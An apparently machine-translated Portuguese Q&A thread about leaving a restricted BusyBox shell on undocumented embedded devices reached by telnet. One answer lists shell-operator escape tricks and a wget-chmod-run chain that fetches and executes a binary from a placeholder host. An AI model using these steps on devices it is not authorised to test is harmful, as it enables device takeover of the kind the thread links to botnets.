Shell limitado do BusyBox

Estou testando alguns dispositivos incorporados e não há documentação. Quando faço telnet para o dispositivo, recebo apenas um shell limitado.

BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait 

Este é um shell limitado, não está claro como acessar o shell completo?

Resposta

  • O comando de que você precisa é chsh (alterar shell) – isso faz parte do shadow ou shadow-utils pacote.
  • Você também pode editar manualmente /etc/password para alterar o shell de /bin/ash para outra coisa:

    MAS => tenha muito cuidado para que o novo shell exista ou você bloqueará fora de si !!!


Você precisará ser root para fazer qualquer uma das opções acima.

Resposta

BusyBox se concentra principalmente na otimização de tamanho e os comandos podem ser exc incluído / incluído durante o tempo de compilação. Portanto, sem fornecer informações adicionais, parece ser um conjunto muito limitado de componentes instalados .

No entanto, deve ficar claro que isso não significa que o firmware do dispositivo não suporte utilitários específicos per se. Se isso não estiver totalmente claro, você deve dar uma olhada na seção Perguntas frequentes – O que é Busybox . Algumas citações devem deixar isso totalmente claro:

“Posso ativar o FTP?” – “Não sabemos se o firmware do Foomatic-9000 vem com o binário Busybox com miniaplicativo ftpd habilitado. (Se você tiver acesso ao prompt do shell, tente executar “busybox ftpd –help”). Em caso afirmativo, você provavelmente poderá ativá-lo. Infelizmente, não sabemos como o firmware do Foomatic-9000 gerencia o início e a parada de vários serviços (caso eles já tenham o serviço ftpd e esteja apenas desativado), ou como criar e habilitar um novo serviço no Foomatic-9000 (se eles não). Tente pesquisá-lo no Google. “

” Posso ativar o SCP? ” – “Busybox-1.23.4 não tem miniaplicativo scp. No entanto, Foomatic-9000 pode ter scp instalado (digamos, se eles tiverem dropbear instalado), e pode ser possível habilitá-lo. Caso contrário, pode ser possível construir e instale sua própria ferramenta scp. Tente pesquisá-la no Google. “

Você provavelmente deve se concentrar mais no dispositivo específico e no firmware instalado do que no limitado conjunto de componentes vinculados ao próprio Busybox.

Comentários

  • ok, esqueci o comando cli.

Resposta

Infelizmente para você, hoje em dia a maioria dos dispositivos embarcados (ou seja, roteadores, dispositivos iot, etc.) tenta impedir que os usuários acessem o sistema interno para que possam “hackear ou modificá-lo. Esta é uma medida para impedir o trabalho de botnets como o mirai, embora as proteções nem sempre sejam muito eficazes.

Um shell de busybox limitado é um cenário muito comum. Felizmente, falando em geral, o busybox requer um shell subjacente se houver ” s qualquer tipo de interface de usuário (como telnet ou ssh). Isso significa que pode ser possível contornar esse shell e executar comandos no shell subjacente (ou seja, / bin / sh é muito comum).

Antes de tentar escapar da sandbox do busybox, você deve ter em conta o a seguir:

  • O fabricante pode ter modificado o shell do busybox para corrigir essas técnicas
  • O shell subjacente pode ser um shell (total ou parcial) sem privilégios. Isso significa que mesmo se você conseguir executar comandos nele, eles podem não funcionar ou dizer que você não tem direitos suficientes.
  • O shell subjacente também pode ser outro shell limitado (não comum)

Quando estiver pronto, você pode tentar os seguintes “truques”: (Todos dependem de operadores shell)

Tente coisas como

echo "Hello World" & <your command> 

Isso executará seu comando se:

  1. O binário estiver disponível (basicamente, se estiver instalado no sistema)
  2. O shell tem acesso a ele (privilégios)

Existem outros métodos como:

echo "Hello World" `your command` echo "Hello World" || <your command> 

E outras variações você pode encontrar na Internet ou tentar por si mesmo.

EDITAR: Estou editando para adicionar um exemplo de como você poderia escapar do shell e obter mais execução.

echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary 

ou diretamente ./yourbinary

Essa é a ideia. Quanto ao chmod, desculpe, mas não me lembro dos argumentos exatos para conceder permissões de execução.

EDIT2: Eu percebi que seu shell diz ash, então provavelmente o busybox foi executado a partir de um script (automatizado) em execução de cinzas. Neste caso, você gostaria de executar comandos diretamente no shell / bin / ash.

Deixe uma resposta

O seu endereço de email não será publicado. Campos obrigatórios marcados com *